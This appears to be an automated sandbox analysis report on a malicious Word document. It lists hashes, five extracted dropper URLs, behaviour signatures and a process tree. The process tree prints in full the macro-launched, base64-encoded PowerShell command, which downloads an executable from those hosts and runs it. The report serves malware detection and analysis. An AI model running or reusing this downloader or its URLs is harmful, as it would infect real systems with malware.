Analysis

  • max time kernel
    105s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22-05-2022 05:19

General

  • Target

    bplbghbw.doc

  • Size

    229KB

  • MD5

    cefc8ee1ec8fa122f1926762f25e517a

  • SHA1

    0b95e029e551daa0413d04ac19a482276d3c5cd6

  • SHA256

    489e84c61f0e1903d9276dc7bba7fe7f936f26076d1276f41c8c52b3e3f2ffaf

  • SHA512

    4229542fab204af6386fb1af65cc9e72eba2d753c537af9c82d15f600b941faf4558c2e3597c62d79c4f99138bbb13823d9db6934ba412e156138a1f599c8bde

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://harugomnhat.mizi.vn/lfv9u/Yc31L165329/

exe.dropper

http://betmagik.com/wp-includes/e6eT18030/

exe.dropper

http://aofortunes.com/9gipx/wOOY59/

exe.dropper

http://yourman.co.uk/hWftFfZpx/uRkkm0115/

exe.dropper

https://serenitynailsfranklin.com/wp-includes/OU50007/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bplbghbw.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABFADYAcQA5ADkAagB2AD0AJwBHAGkAMQBoADUANQA3ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAYwBVAGAAUgBpAFQAeQBQAFIAbwB0AG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVADEAdQBnADIAdQBkACAAPQAgACcATgBtAGQAagAnADsAJABCAHAAXwA2AGkANgBfAD0AJwBWADQAbgB6ADIAcwA4ACcAOwAkAEsAZAB2ADIAOQA1AHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVADEAdQBnADIAdQBkACsAJwAuAGUAeABlACcAOwAkAEsANwB6AGYAcwBfAHMAPQAnAEMAawAwADAANQBiAHoAJwA7ACQASgBsADIAMwBvAHgAZgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQAUgB6AHgAMwByAG8AMAA9ACcAaAB0AHQAcABzADoALwAvAGgAYQByAHUAZwBvAG0AbgBoAGEAdAAuAG0AaQB6AGkALgB2AG4ALwBsAGYAdgA5AHUALwBZAGMAMwAxAEwAMQA2ADUAMwAyADkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAHQAbQBhAGcAaQBrAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlADYAZQBUADEAOAAwADMAMAAvACoAaAB0AHQAcAA6AC8ALwBhAG8AZgBvAHIAdAB1AG4AZQBzAC4AYwBvAG0ALwA5AGcAaQBwAHgALwB3AE8ATwBZADUAOQAvACoAaAB0AHQAcAA6AC8ALwB5AG8AdQByAG0AYQBuAC4AYwBvAC4AdQBrAC8AaABXAGYAdABGAGYAWgBwAHgALwB1AFIAawBrAG0AMAAxADEANQAvACoAaAB0AHQAcABzADoALwAvAHMAZQByAGUAbgBpAHQAeQBuAGEAaQBsAHMAZgByAGEAbgBrAGwAaQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBPAFUANQAwADAAMAA3AC8AJwAuACIAUwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADQAegAzADYAdgAxAD0AJwBIADUAMwBxADYAYQByACcAOwBmAG8AcgBlAGEAYwBoACgAJABHADUAagBkAGoANQA0ACAAaQBuACAAJABSAHoAeAAzAHIAbwAwACkAewB0AHIAeQB7ACQASgBsADIAMwBvAHgAZgAuACIAZABvAHcAbgBsAGAAbwBgAEEARABGAGAASQBMAGUAIgAoACQARwA1AGoAZABqADUANAAsACAAJABLAGQAdgAyADkANQByACkAOwAkAFkAcgBlAHcAcQBoADQAPQAnAFgAawAyADkANwBhADkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAGQAdgAyADkANQByACkALgAiAEwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADYAMAAxADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASwBkAHYAMgA5ADUAcgApADsAJABUAHIAOQA1AGYAdQA0AD0AJwBQADcAeQBoAGMANgBjACcAOwBiAHIAZQBhAGsAOwAkAFIAYgBtADkAYwBnAF8APQAnAFAANgB2ADYAMwBoAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBtAGUAdQB0AHIANAA9ACcASAByADYAbQBmADcANgAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:868

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/536-71-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-57-0x0000000075B61000-0x0000000075B63000-memory.dmp
      Filesize

      8KB

    • memory/536-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/536-70-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-58-0x0000000070CAD000-0x0000000070CB8000-memory.dmp
      Filesize

      44KB

    • memory/536-69-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-61-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-60-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-62-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-63-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-64-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-66-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-65-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-68-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-67-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-72-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-89-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/536-55-0x000000006FCC1000-0x000000006FCC3000-memory.dmp
      Filesize

      8KB

    • memory/536-59-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-73-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-74-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-75-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-76-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-79-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-80-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-78-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-77-0x0000000000835000-0x0000000000839000-memory.dmp
      Filesize

      16KB

    • memory/536-54-0x0000000072241000-0x0000000072244000-memory.dmp
      Filesize

      12KB

    • memory/868-82-0x000007FEF33D0000-0x000007FEF3DF3000-memory.dmp
      Filesize

      10.1MB

    • memory/868-83-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp
      Filesize

      11.4MB

    • memory/868-84-0x0000000002874000-0x0000000002877000-memory.dmp
      Filesize

      12KB

    • memory/868-85-0x000000001B720000-0x000000001BA1F000-memory.dmp
      Filesize

      3.0MB

    • memory/868-86-0x000000000287B000-0x000000000289A000-memory.dmp
      Filesize

      124KB

    • memory/868-81-0x000007FEFB721000-0x000007FEFB723000-memory.dmp
      Filesize

      8KB

    • memory/888-87-0x0000000000000000-mapping.dmp